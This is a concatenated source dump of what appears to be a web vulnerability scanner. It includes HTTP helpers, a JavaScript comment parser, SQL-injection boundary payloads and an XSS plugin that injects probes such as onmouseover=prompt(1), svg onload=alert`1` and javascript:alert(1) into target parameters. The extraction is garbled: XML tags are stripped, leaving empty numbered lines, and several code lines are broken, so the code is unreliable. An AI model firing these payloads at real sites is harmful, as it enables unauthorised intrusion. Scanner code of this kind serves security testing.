rsp["timestamp_end"] = flow.response.timestamp_end 150 | return rsp 151 | 152 | @staticmethod 153 | def rsp_to_reqtext(rsp): 154 | req = rsp.request 155 | req_data = '%s %s %s\r\n' % (str(req.method), str(req.path_url), str(http_version_map[rsp.raw.version])) 156 | # Add headers to the request 157 | for k, v in req.headers.items(): 158 | req_data += k + ': ' + v + '\r\n' 159 | req_data += '\r\n' 160 | if req.body: 161 | req_data += str(req.body) 162 | return req_data 163 | 164 | @staticmethod 165 | def rsp_to_dict(response): 166 | rsp = dict() 167 | rsp["status_code"] = response.status_code 168 | rsp["headers"] = response.headers 169 | rsp["text"] = str(response.text) 170 | rsp['req'] = response.request 171 | return rsp 172 | 173 | @staticmethod 174 | def rsp_to_req_dict(response): 175 | request = response.request 176 | url = request.url 177 | req = dict() 178 | parse_url = urlparse(url) 179 | req["url"] = request.url 180 | req["path"] = parse_url.path 181 | req["params"] = parse_url.params 182 | req["query"] = parse_url.query 183 | req["host"] = parse_url.netloc 184 | req["method"] = request.method 185 | req["path"] = request.path_url 186 | req["http_version"] = http_version_map[response.raw.version] 187 | req["headers"] = request.headers 188 | req["text"] = str(request.body) 189 | req["raw"] = HTTPParser.rsp_to_reqtext(response) 190 | return req 191 | 192 | @staticmethod 193 | def get_res_req_by_url(url): 194 | headers = dict() 195 | headers["User-Agent"] = Utils.get_random_ua() 196 | headers["Connection"] = "close" 197 | try: 198 | response = requests.get(url,headers=headers,timeout=10) 199 | return HTTPParser.rsp_to_dict(response), HTTPParser.rsp_to_req_dict(response) 200 | except: 201 | logger.debug(traceback.format_exc()) 202 | return None, None 203 | -------------------------------------------------------------------------------- /lib/jscontext.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # @Time : 2020/4/8 10:13 AM 4 | # @Author : w8ay 5 | # @File : jscontext.py 6 | 7 | import pyjsparser 8 | from pyjsparser import parse 9 | 10 | 11 | class JsParseError(Exception): 12 | """Exception raised for errors in the input. 13 | 14 | Attributes: 15 | expression -- input expression in which the error occurred 16 | message -- explanation of the error 17 | """ 18 | 19 | def __init__(self, expression, message): 20 | self.expression = expression 21 | self.message = message 22 | 23 | 24 | WHITE_SPACE = {0x20, 0x09, 0x0B, 0x0C, 0xA0, 0x1680, 0x180E, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 25 | 0x2007, 0x2008, 0x2009, 0x200A, 0x202F, 0x205F, 0x3000, 0xFEFF} 26 | 27 | LINE_TERMINATORS = {0x0A, 0x0D, 0x2028, 0x2029} 28 | 29 | 30 | def isLineTerminator(ch): 31 | return ch in LINE_TERMINATORS 32 | 33 | 34 | def isWhiteSpace(ch): 35 | return ch in WHITE_SPACE 36 | 37 | 38 | def skipMultiLineComment(index, length, source): 39 | start = index 40 | while index < length: 41 | ch = ord(source[index]) 42 | if isLineTerminator(ch): 43 | if (ch == 0x0D and ord(source[index + 1]) == 0x0A): 44 | index += 1 45 | index += 1 46 | elif ch == 0x2A: 47 | # Block comment ends with '*/'. 48 | if ord(source[index + 1]) == 0x2F: 49 | index += 2 50 | return { 51 | 'type': 'Block', 52 | 'value': source[start:index - 2], 53 | } 54 | 55 | index += 1 56 | else: 57 | index += 1 58 | return None 59 | 60 | 61 | def skipSingleLineComment(offset, index, length, source): 62 | start = index - offset 63 | while index < length: 64 | ch = ord(source[index]) 65 | index += 1 66 | if isLineTerminator(ch): 67 | if (ch == 13 and ord(source[index]) == 10): 68 | index += 1 69 | return { 70 | 'type': 'Line', 71 | 'value': source[start + offset:index - 1], 72 | } 73 | return None 74 | 75 | 76 | def getComment(scripts): 77 | ''' 78 | 获得JavaScript中注释内容以及注释类型 79 | :param scripts: 80 | :return: 81 | ''' 82 | length = len(scripts) 83 | index = 0 84 | start = True 85 | comments = [] 86 | while index < length: 87 | ret = None 88 | ch = ord(scripts[index]) 89 | if isWhiteSpace(ch): 90 | index += 1 91 | elif isLineTerminator(ch): 92 | index += 1 93 | if (ch == 0x0D and ord(scripts[index]) == 0x0A): 94 | index += 1 95 | start = True 96 | elif (ch == 0x2F): # U+002F is '/' 97 | ch = ord(scripts[index + 1]) 98 | if (ch == 0x2F): 99 | index += 2 100 | ret = skipSingleLineComment(2, index, length, scripts) 101 | start = True 102 | elif (ch == 0x2A): # U+002A is '*' 103 | index += 2 104 | ret = skipMultiLineComment(index, length, scripts) 105 | else: 106 | break 107 | elif (start and ch == 0x2D): # U+002D is '-' 108 | # U+003E is '>' 109 | if (ord(scripts[index + 1]) == 0x2D) and (ord( 110 | scripts[index + 2]) == 0x3E): 111 | # '-->' is a single-line comment 112 | index += 3 113 | ret = skipSingleLineComment(3, index, length, scripts) 114 | else: 115 | break 116 | elif (ch == 0x3C): # U+003C is '<' 117 | if scripts[index + 1:index + 4] == '!--': 118 | # 61 | 62 | 63 | 64 | 65 | 66 | 1 67 | 1 68 | 1,2 69 | 2 70 | 71 | AND '[RANDSTR]'='[RANDSTR]' 72 | 73 | 74 | 75 | 1 76 | 1 77 | 1,2 78 | 2 79 | ') 80 | AND ('[RANDSTR]'='[RANDSTR] 81 | 82 | 83 | 84 | 2 85 | 1 86 | 1,2 87 | 2 88 | ')) 89 | AND (('[RANDSTR]'='[RANDSTR] 90 | 91 | 92 | 93 | 3 94 | 1 95 | 1,2 96 | 2 97 | '))) 98 | AND ((('[RANDSTR]'='[RANDSTR] 99 | 100 | 101 | 102 | 1 103 | 1 104 | 1,2 105 | 2 106 | ' 107 | AND '[RANDSTR]'='[RANDSTR] 108 | 109 | 110 | 111 | 2 112 | 1 113 | 1,2 114 | 3 115 | ') 116 | AND ('[RANDSTR]' LIKE '[RANDSTR] 117 | 118 | 119 | 120 | 3 121 | 1 122 | 1,2 123 | 3 124 | ')) 125 | AND (('[RANDSTR]' LIKE '[RANDSTR] 126 | 127 | 128 | 129 | 4 130 | 1 131 | 1,2 132 | 3 133 | '))) 134 | AND ((('[RANDSTR]' LIKE '[RANDSTR] 135 | 136 | 137 | 138 | 2 139 | 1 140 | 1,2 141 | 3 142 | %' 143 | AND '[RANDSTR]%'='[RANDSTR] 144 | 145 | 146 | 147 | 2 148 | 1 149 | 1,2 150 | 3 151 | ' 152 | AND '[RANDSTR]' LIKE '[RANDSTR] 153 | 154 | 155 | 156 | 2 157 | 1 158 | 1,2 159 | 4 160 | ") 161 | AND ("[RANDSTR]"="[RANDSTR] 162 | 163 | 164 | 165 | 3 166 | 1 167 | 1,2 168 | 4 169 | ")) 170 | AND (("[RANDSTR]"="[RANDSTR] 171 | 172 | 173 | 174 | 4 175 | 1 176 | 1,2 177 | 4 178 | "))) 179 | AND ((("[RANDSTR]"="[RANDSTR] 180 | 181 | 182 | 183 | 2 184 | 1 185 | 1,2 186 | 4 187 | " 188 | AND "[RANDSTR]"="[RANDSTR] 189 | 190 | 191 | 192 | 3 193 | 1 194 | 1,2 195 | 5 196 | ") 197 | AND ("[RANDSTR]" LIKE "[RANDSTR] 198 | 199 | 200 | 201 | 4 202 | 1 203 | 1,2 204 | 5 205 | ")) 206 | AND (("[RANDSTR]" LIKE "[RANDSTR] 207 | 208 | 209 | 210 | 5 211 | 1 212 | 1,2 213 | 5 214 | "))) 215 | AND ((("[RANDSTR]" LIKE "[RANDSTR] 216 | 217 | 218 | 219 | 3 220 | 1 221 | 1,2 222 | 5 223 | " 224 | AND "[RANDSTR]" LIKE "[RANDSTR] 225 | 226 | 227 | 228 | 229 | 3 230 | 1 231 | 1,2 232 | 2 233 | ' 234 | OR '[RANDSTR1]'='[RANDSTR2] 235 | 236 | 237 | 238 | 239 | 240 | 5 241 | 9 242 | 1,2 243 | 2 244 | ') WHERE [RANDNUM]=[RANDNUM] 245 | [GENERIC_SQL_COMMENT] 246 | 247 | 248 | 249 | 5 250 | 9 251 | 1,2 252 | 2 253 | ") WHERE [RANDNUM]=[RANDNUM] 254 | [GENERIC_SQL_COMMENT] 255 | 256 | 257 | 258 | 4 259 | 9 260 | 1,2 261 | 1 262 | ) WHERE [RANDNUM]=[RANDNUM] 263 | [GENERIC_SQL_COMMENT] 264 | 265 | 266 | 267 | 4 268 | 9 269 | 1,2 270 | 2 271 | ' WHERE [RANDNUM]=[RANDNUM] 272 | [GENERIC_SQL_COMMENT] 273 | 274 | 275 | 276 | 5 277 | 9 278 | 1,2 279 | 4 280 | " WHERE [RANDNUM]=[RANDNUM] 281 | [GENERIC_SQL_COMMENT] 282 | 283 | 284 | 285 | 4 286 | 9 287 | 1,2 288 | 1 289 | WHERE [RANDNUM]=[RANDNUM] 290 | [GENERIC_SQL_COMMENT] 291 | 292 | 293 | 294 | 5 295 | 9 296 | 1 297 | 2 298 | '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] 299 | )||' 300 | 301 | 302 | 303 | 5 304 | 9 305 | 1 306 | 2 307 | '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] 308 | )||' 309 | 310 | 311 | 312 | 5 313 | 9 314 | 1 315 | 2 316 | '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] 317 | )+' 318 | 319 | 320 | 321 | 5 322 | 9 323 | 1 324 | 2 325 | ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM] 326 | )|| 327 | 328 | 329 | 330 | 5 331 | 9 332 | 1 333 | 2 334 | ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] 335 | )|| 336 | 337 | 338 | 339 | 5 340 | 9 341 | 1 342 | 1 343 | +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 344 | )+ 345 | 346 | 347 | 348 | 5 349 | 9 350 | 1 351 | 2 352 | +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] 353 | )+ 354 | 355 | 356 | 357 | 358 | 359 | 5 360 | 1 361 | 1,2 362 | 2 363 | ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 364 | [GENERIC_SQL_COMMENT] 365 | 366 | 367 | 368 | 5 369 | 1 370 | 1,2 371 | 2 372 | ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 373 | [GENERIC_SQL_COMMENT] 374 | 375 | 376 | 377 | 5 378 | 1 379 | 1,2 380 | 1 381 | )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 382 | [GENERIC_SQL_COMMENT] 383 | 384 | 385 | 386 | 4 387 | 1 388 | 1,2 389 | 2 390 | ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 391 | [GENERIC_SQL_COMMENT] 392 | 393 | 394 | 395 | 5 396 | 1 397 | 1,2 398 | 4 399 | ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 400 | [GENERIC_SQL_COMMENT] 401 | 402 | 403 | 404 | 4 405 | 1 406 | 1,2 407 | 1 408 | ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM] 409 | [GENERIC_SQL_COMMENT] 410 | 411 | 412 | 413 | 4 414 | 1 415 | 1 416 | 1 417 | ` WHERE [RANDNUM]=[RANDNUM] 418 | [GENERIC_SQL_COMMENT] 419 | 420 | 421 | 422 | 5 423 | 1 424 | 1 425 | 1 426 | `) WHERE [RANDNUM]=[RANDNUM] 427 | [GENERIC_SQL_COMMENT] 428 | 429 | 430 | 431 | -------------------------------------------------------------------------------- /plugins/general/scripts/sqli/errors.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | -------------------------------------------------------------------------------- /plugins/general/scripts/xss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | ''' 4 | Date: 2022-03-30 16:12:12 5 | LastEditors: recar 6 | LastEditTime: 2022-04-07 18:09:23 7 | ''' 8 | 9 | 10 | from plugins.scan import Base 11 | from lib.utils import Utils 12 | from lib.html_parser import SearchInputInResponse, random_upper 13 | from lib.jscontext import SearchInputInScript 14 | from lib.http_parser import HTTPParser 15 | import json 16 | import copy 17 | 18 | # copy https://github.com/w-digital-scanner/w13scan/blob/master/W13SCAN/scanners/PerFile/xss.py 19 | 20 | ''' 21 | ## 位置与payload需要的字符串 22 | 23 | | 属性 | 必选 | 可选 | 24 | | ------------ | --------------------------------------------------- | -------------------------- | 25 | | HTML标签 | <> | | 26 | | HTML属性 | 空格和等于号(=) | 单引号(')和双引号(")是可选 | 27 | | HTML属性值 | 直接有效的Payload或者需要逗号(,) | | 28 | | HTML文本节点 | <> 字符需要转义文本区域 | | 29 | | HTML注释 | <>!字符必须用来转义注释 | | 30 | | Style | <> 需要转义样式 | | 31 | | Style 属性 | <,>,"字符需要转义文本 | | 32 | | Href 属性 | 直接构造payload,或者“需要转义文本 | | 33 | | JS 节点 | <,>需要转义script,其他特殊的字符来闭合JS变量或函数 | | 34 | 35 | 参考 https://mp.weixin.qq.com/s?__biz=MzU2NzcwNTY3Mg==&mid=2247483698&idx=1&sn=9733c6078516c34963a4c0486c6d1872&chksm=fc986815cbefe103975c2e554ef2667b931e14b2d1dcca407af9edbad83ea72f3ac88efd8d22&mpshare=1&scene=1&srcid=&sharer_sharetime=1588849508551&sharer_shareid=19604935512cdb60a84a4a498605fc8d&key=e4739a048b456af8bbf436c6fb2173754f53fcd63e766a439186e0a2433cd084a69e23876cc446623cb005c3c9fed06af918b7b082f604e7a23c136961d5a1e633f4a60b65b241dea730f7c13578ea94&ascene=1&uin=MTM3MzQ3ODE0MA%3D%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=AZ%2F8pd18PHTzKD6ytyi7PPk%3D&pass_ticket=ssxjxDrN0aRCdy2TGXV37%2Bg0cYgtEknB95Y1dXjxGOtpxjCYC6wfPOq5QXvs3lzE 36 | https://brutelogic.com.br/knoxss.html 37 | 38 | ''' 39 | # 隐藏参数 40 | # TOP_RISK_GET_PARAMS = {"id", 'action', 'type', 'm', 'callback', 'cb'} 41 | blindParams = [ # common paramtere names to be bruteforced for parameter discovery 42 | 'redirect', 'redir', 'url', 'link', 'goto', 'debug', '_debug', 'test', 'get', 'index', 'src', 'source', 'file', 43 | 'frame', 'config', 'new', 'old', 'var', 'rurl', 'return_to', '_return', 'returl', 'last', 'text', 'load', 'email', 44 | 'mail', 'user', 'username', 'password', 'pass', 'passwd', 'first_name', 'last_name', 'back', 'href', 'ref', 'data', 'input', 45 | 'out', 'net', 'host', 'address', 'code', 'auth', 'userid', 'auth_token', 'token', 'error', 'keyword', 'key', 'q', 'query', 'aid', 46 | 'bid', 'cid', 'did', 'eid', 'fid', 'gid', 'hid', 'iid', 'jid', 'kid', 'lid', 'mid', 'nid', 'oid', 'pid', 'qid', 'rid', 'sid', 47 | 'tid', 'uid', 'vid', 'wid', 'xid', 'yid', 'zid', 'cal', 'country', 'x', 'y', 'topic', 'title', 'head', 'higher', 'lower', 'width', 48 | 'height', 'add', 'result', 'log', 'demo', 'example', 'message', 'id', 'action', 'type', 'm', 'callback', 'cb'] 49 | 50 | ''' 51 | 52 | ''' 53 | 54 | BLIND_PARAMS = [ # common paramtere names to be bruteforced for parameter discovery 55 | 'redirect', 'redir', 'url', 'link', 'goto', 'debug', '_debug', 'test', 'get', 'index', 'src', 'source', 'file', 56 | 'frame', 'config', 'new', 'old', 'var', 'rurl', 'return_to', '_return', 'returl', 'last', 'text', 'load', 'email', 57 | 'mail', 'user', 'username', 'password', 'pass', 'passwd', 'first_name', 'last_name', 'back', 'href', 'ref', 'data', 'input', 58 | 'out', 'net', 'host', 'address', 'code', 'auth', 'userid', 'auth_token', 'token', 'error', 'keyword', 'key', 'q', 'query', 'aid', 59 | 'bid', 'cid', 'did', 'eid', 'fid', 'gid', 'hid', 'iid', 'jid', 'kid', 'lid', 'mid', 'nid', 'oid', 'pid', 'qid', 'rid', 'sid', 60 | 'tid', 'uid', 'vid', 'wid', 'xid', 'yid', 'zid', 'cal', 'country', 'x', 'y', 'topic', 'title', 'head', 'higher', 'lower', 'width', 61 | 'height', 'add', 'result', 'log', 'demo', 'example', 'message', 'id', 'action', 'type', 'm', 'callback', 'cb'] 62 | 63 | XSS_EVAL_ATTITUDES = ['onbeforeonload', 'onsubmit', 'ondragdrop', 'oncommand', 'onbeforeeditfocus', 'onkeypress', 64 | 'onoverflow', 'ontimeupdate', 'onreset', 'ondragstart', 'onpagehide', 'onunhandledrejection', 65 | 'oncopy', 66 | 'onwaiting', 'onselectstart', 'onplay', 'onpageshow', 'ontoggle', 'oncontextmenu', 'oncanplay', 67 | 'onbeforepaste', 'ongesturestart', 'onafterupdate', 'onsearch', 'onseeking', 68 | 'onanimationiteration', 69 | 'onbroadcast', 'oncellchange', 'onoffline', 'ondraggesture', 'onbeforeprint', 'onactivate', 70 | 'onbeforedeactivate', 'onhelp', 'ondrop', 'onrowenter', 'onpointercancel', 'onabort', 71 | 'onmouseup', 72 | 'onbeforeupdate', 'onchange', 'ondatasetcomplete', 'onanimationend', 'onpointerdown', 73 | 'onlostpointercapture', 'onanimationcancel', 'onreadystatechange', 'ontouchleave', 74 | 'onloadstart', 75 | 'ondrag', 'ontransitioncancel', 'ondragleave', 'onbeforecut', 'onpopuphiding', 'onprogress', 76 | 'ongotpointercapture', 'onfocusout', 'ontouchend', 'onresize', 'ononline', 'onclick', 77 | 'ondataavailable', 'onformchange', 'onredo', 'ondragend', 'onfocusin', 'onundo', 'onrowexit', 78 | 'onstalled', 'oninput', 'onmousewheel', 'onforminput', 'onselect', 'onpointerleave', 'onstop', 79 | 'ontouchenter', 'onsuspend', 'onoverflowchanged', 'onunload', 'onmouseleave', 80 | 'onanimationstart', 81 | 'onstorage', 'onpopstate', 'onmouseout', 'ontransitionrun', 'onauxclick', 'onpointerenter', 82 | 'onkeydown', 'onseeked', 'onemptied', 'onpointerup', 'onpaste', 'ongestureend', 'oninvalid', 83 | 'ondragenter', 'onfinish', 'oncut', 'onhashchange', 'ontouchcancel', 'onbeforeactivate', 84 | 'onafterprint', 'oncanplaythrough', 'onhaschange', 'onscroll', 'onended', 'onloadedmetadata', 85 | 'ontouchmove', 'onmouseover', 'onbeforeunload', 'onloadend', 'ondragover', 'onkeyup', 86 | 'onmessage', 87 | 'onpopuphidden', 'onbeforecopy', 'onclose', 'onvolumechange', 'onpropertychange', 'ondblclick', 88 | 'onmousedown', 'onrowinserted', 'onpopupshowing', 'oncommandupdate', 'onerrorupdate', 89 | 'onpopupshown', 90 | 'ondurationchange', 'onbounce', 'onerror', 'onend', 'onblur', 'onfilterchange', 'onload', 91 | 'onstart', 92 | 'onunderflow', 'ondragexit', 'ontransitionend', 'ondeactivate', 'ontouchstart', 'onpointerout', 93 | 'onpointermove', 'onwheel', 'onpointerover', 'onloadeddata', 'onpause', 'onrepeat', 94 | 'onmouseenter', 95 | 'ondatasetchanged', 'onbegin', 'onmousemove', 'onratechange', 'ongesturechange', 96 | 'onlosecapture', 97 | 'onplaying', 'onfocus', 'onrowsdelete'] 98 | 99 | class Scan(Base): 100 | def __init__(self, report_work): 101 | super().__init__(report_work) 102 | self.plugins_name = "xss" 103 | 104 | 105 | def test_echo(self, url_info): 106 | echo_query_list = list() 107 | query_dict = copy.copy(url_info.get("query_dict")) 108 | headers = url_info.get("headers") 109 | method = url_info.get("method") 110 | base_url = url_info.get("base_url") 111 | origin_url = url_info.get("origin_url") 112 | # 混合测试的参数 113 | query_list = list(query_dict.keys())+BLIND_PARAMS 114 | for query in query_list: 115 | query_dict[query] = Utils.gen_random_str() 116 | #url 117 | data = None 118 | if method=="GET": 119 | fix_query_str = "" 120 | for key,value in query_dict.items(): 121 | fix_query_str += key + "=" + value+"&" 122 | if fix_query_str.endswith("&"): 123 | fix_query_str = fix_query_str[:-1] 124 | if "?" in origin_url: 125 | origin_query = origin_url.split("?")[-1] 126 | url = origin_url.replace(origin_query, fix_query_str) 127 | else: 128 | # 隐藏参数 129 | finx_query_str = "?" 130 | for query in query_dict: 131 | finx_query_str += query + "=" + query_dict[query][0]+"&" 132 | if finx_query_str.endswith("&"): 133 | finx_query_str = finx_query_str[:-1] 134 | url = origin_url+"?"+finx_query_str 135 | else: # post 136 | url = base_url 137 | if url_info.get("json"): 138 | # 如果是json的 139 | data = json.dumps(query_dict) 140 | else: 141 | # 普通post的 142 | data = "" 143 | for key,value in query_dict.items(): 144 | data += key + "=" + value+"&" 145 | if data.endswith("&"): 146 | data = data[:-1] 147 | # 发送请求 148 | response = self.request(url, method=method, data=data, headers=headers, timeout=10) 149 | for key, value in query_dict.items(): 150 | if value in response.text: 151 | self.logger.debug("find echo key: {0}".format(key)) 152 | locations = SearchInputInResponse( value, response.text) 153 | self.logger.debug("locations: {0}".format(locations)) 154 | if locations: 155 | echo_query_list.append({ 156 | "key": key, 157 | "value": value, 158 | "locations": locations 159 | }) 160 | return echo_query_list 161 | 162 | 163 | def fix_query_get_response(self, url_info, echo_query, payload): 164 | query_dict = url_info.get("query_dict") 165 | headers = url_info.get("headers") 166 | method = url_info.get("method") 167 | base_url = url_info.get("base_url") 168 | origin_url = url_info.get("origin_url") 169 | if echo_query in query_dict.keys(): 170 | origin_query = echo_query+"="+query_dict[echo_query][0] 171 | payload_query = echo_query+"="+payload 172 | else: 173 | # 隐藏参数 174 | origin_query = "" 175 | for query in query_dict: 176 | origin_query += query + "=" + query_dict[query][0]+"&" 177 | if origin_query.endswith("&"): 178 | origin_query = origin_query[:-1] 179 | payload_query = origin_query+"&"+echo_query+"="+payload 180 | self.logger.debug("origin_url: {0}".format(origin_url)) 181 | self.logger.debug("origin_query: {0}".format(origin_query)) 182 | self.logger.debug("payload_query: {0}".format(payload_query)) 183 | #url 184 | if method=="GET": 185 | url = origin_url.replace(origin_query, payload_query) 186 | self.logger.debug("url: {0}".format(url)) 187 | else: # post 188 | url = base_url 189 | if url_info.get("json"): 190 | # 如果是json的 191 | query_dict[echo_query] = payload 192 | data = json.dumps(query_dict) 193 | else: 194 | # 普通post的 195 | data.replace(origin_query, payload_query) 196 | return self.request(url, method=method, headers=headers) 197 | 198 | def verify(self, url_info, req, rsp, violent=False): 199 | ''' 200 | xss 检测 201 | 202 | ''' 203 | echo_query_list = self.test_echo(url_info) 204 | if len(echo_query_list)==0: 205 | return 206 | for echo_query_info in echo_query_list: 207 | locations = echo_query_info.get('locations') 208 | echo_query = echo_query_info.get("key") 209 | xsschecker = echo_query_info.get('value') 210 | if not locations: 211 | continue 212 | for item in locations: 213 | _type = item["type"] 214 | details = item["details"] 215 | if _type == "html": 216 | if details["tagname"] == "style": 217 | payload = "expression(a({}))".format(Utils.gen_random_str()) 218 | response = self.fix_query_get_response(url_info, echo_query, payload) 219 | _locations = SearchInputInResponse(payload, response.text) 220 | for _item in _locations: 221 | if payload in _item["details"]["content"] and _item["details"]["tagname"] == "style": 222 | result = { 223 | "plugins": self.plugins_name, 224 | "url": url_info.get("origin_url"), 225 | "req": HTTPParser.rsp_to_reqtext(response), 226 | "payload": echo_query+"="+expression(alert(1)), 227 | "desc": "可能存在xss E下可执行的表达式 expression(alert(1))" 228 | } 229 | self.print_result(result) 230 | self.to_result(result) 231 | break 232 | flag = Utils.gen_random_str(7) 233 | payload = "<{}>".format(random_upper(details["tagname"]), flag) 234 | truepayload = "{}".format(random_upper(details["tagname"]), "") 235 | response = self.fix_query_get_response(url_info, echo_query, payload) 236 | _locations = SearchInputInResponse(flag, response.text) 237 | for i in _locations: 238 | if i["details"]["tagname"] == flag: 239 | result = { 240 | "plugins": self.plugins_name, 241 | "url": url_info.get("origin_url"), 242 | "req": HTTPParser.rsp_to_reqtext(response), 243 | "payload": echo_query+"="+truepayload, 244 | "desc": "html标签可被闭合: {0}".format(truepayload) 245 | } 246 | self.print_result(result) 247 | self.to_result(result) 248 | break 249 | elif _type == "attibute": 250 | if details["content"] == "key": 251 | # test html 252 | flag = Utils.gen_random_str(7) 253 | payload = "><{} ".format(flag) 254 | truepayload = ">" 255 | response = self.fix_query_get_response(url_info, echo_query, payload) 256 | _locations = SearchInputInResponse(flag, response.text) 257 | for i in _locations: 258 | if i["details"]["tagname"] == flag: 259 | result = { 260 | "plugins": self.plugins_name, 261 | "url": url_info.get("origin_url"), 262 | "req": HTTPParser.rsp_to_reqtext(response), 263 | "payload": echo_query+"="+truepayload, 264 | "desc": "html标签可被闭合: {0}".format(truepayload) 265 | } 266 | self.print_result(result) 267 | self.to_result(result) 268 | break 269 | # test attibutes 270 | flag = Utils.gen_random_str(5) 271 | payload = flag + "=" 272 | response = self.fix_query_get_response(url_info, echo_query, payload) 273 | _locations = SearchInputInResponse(flag, response.text) 274 | for i in _locations: 275 | for _k, v in i["details"]["attibutes"]: 276 | if _k == flag: 277 | result = { 278 | "plugins": self.plugins_name, 279 | "url": url_info.get("origin_url"), 280 | "req": HTTPParser.rsp_to_reqtext(response), 281 | "payload": echo_query+"="+"'onmouseover=prompt(1)'", 282 | "desc": "可以自定义类似 'onmouseover=prompt(1)'的标签事件" 283 | } 284 | self.print_result(result) 285 | self.to_result(result) 286 | break 287 | else: 288 | # test attibutes 289 | flag = Utils.gen_random_str(5) 290 | for _payload in ["'", "\"", " "]: 291 | payload = _payload + flag + "=" + _payload 292 | truepayload = "{payload} onmouseover=prompt(1){payload}".format(payload=_payload) 293 | response = self.fix_query_get_response(url_info, echo_query, payload) 294 | _occerens = SearchInputInResponse(flag, response.text) 295 | for i in _occerens: 296 | for _k, _v in i["details"]["attibutes"]: 297 | if _k == flag: 298 | result = { 299 | "plugins": self.plugins_name, 300 | "url": url_info.get("origin_url"), 301 | "req": HTTPParser.rsp_to_reqtext(response), 302 | "payload": echo_query+"="+truepayload, 303 | "desc": "引号可被闭合,可使用其他事件造成xss: {0}".format(truepayload) 304 | } 305 | self.print_result(result) 306 | self.to_result(result) 307 | break 308 | # test html 309 | flag = Utils.gen_random_str(7) 310 | for _payload in [r"'><{}>", "\"><{}>", "><{}>"]: 311 | payload = _payload.format(flag) 312 | response = self.fix_query_get_response(url_info, echo_query, payload) 313 | _occerens = SearchInputInResponse(flag, response.text) 314 | for i in _occerens: 315 | if i["details"]["tagname"] == flag: 316 | result = { 317 | "plugins": self.plugins_name, 318 | "url": url_info.get("origin_url"), 319 | "req": HTTPParser.rsp_to_reqtext(_payload.format("svg onload=alert`1`")), 320 | "payload": echo_query+"="+payload, 321 | "desc": "html标签可被闭合: {0}".format(_payload.format("svg onload=alert`1`")) 322 | } 323 | self.print_result(result) 324 | self.to_result(result) 325 | break 326 | # 针对特殊属性进行处理 327 | specialAttributes = ['srcdoc', 'src', 'action', 'data', 'href'] # 特殊处理属性 328 | keyname = details["attibutes"][0][0] 329 | tagname = details["tagname"] 330 | if keyname in specialAttributes: 331 | flag = Utils.gen_random_str(7) 332 | response = self.fix_query_get_response(url_info, echo_query, payload) 333 | _occerens = SearchInputInResponse(flag, response.text) 334 | for i in _occerens: 335 | if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][ 336 | 0] == keyname and \ 337 | i["details"]["attibutes"][0][1] == flag: 338 | truepayload = flag 339 | if i["details"]["attibutes"][0][0] in specialAttributes: 340 | truepayload = "javascript:alert(1)" 341 | result = { 342 | "plugins": self.plugins_name, 343 | "url": url_info.get("origin_url"), 344 | "req": HTTPParser.rsp_to_reqtext(response), 345 | "payload": echo_query+"="+truepayload, 346 | "desc": "{0}的值可控,可能被恶意攻击,payload:{1}".format(keyname, truepayload) 347 | } 348 | self.print_result(result) 349 | self.to_result(result) 350 | break 351 | elif keyname == "style": 352 | payload = "expression(a({}))".format(Utils.gen_random_str(6)) 353 | response = self.fix_query_get_response(url_info, echo_query, payload) 354 | _occerens = SearchInputInResponse(payload, response.text) 355 | for _item in _occerens: 356 | if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \ 357 | _item["details"]["attibutes"][0][0] == keyname: 358 | result = { 359 | "plugins": self.plugins_name, 360 | "url": url_info.get("origin_url"), 361 | "req": HTTPParser.rsp_to_reqtext(response), 362 | "payload": 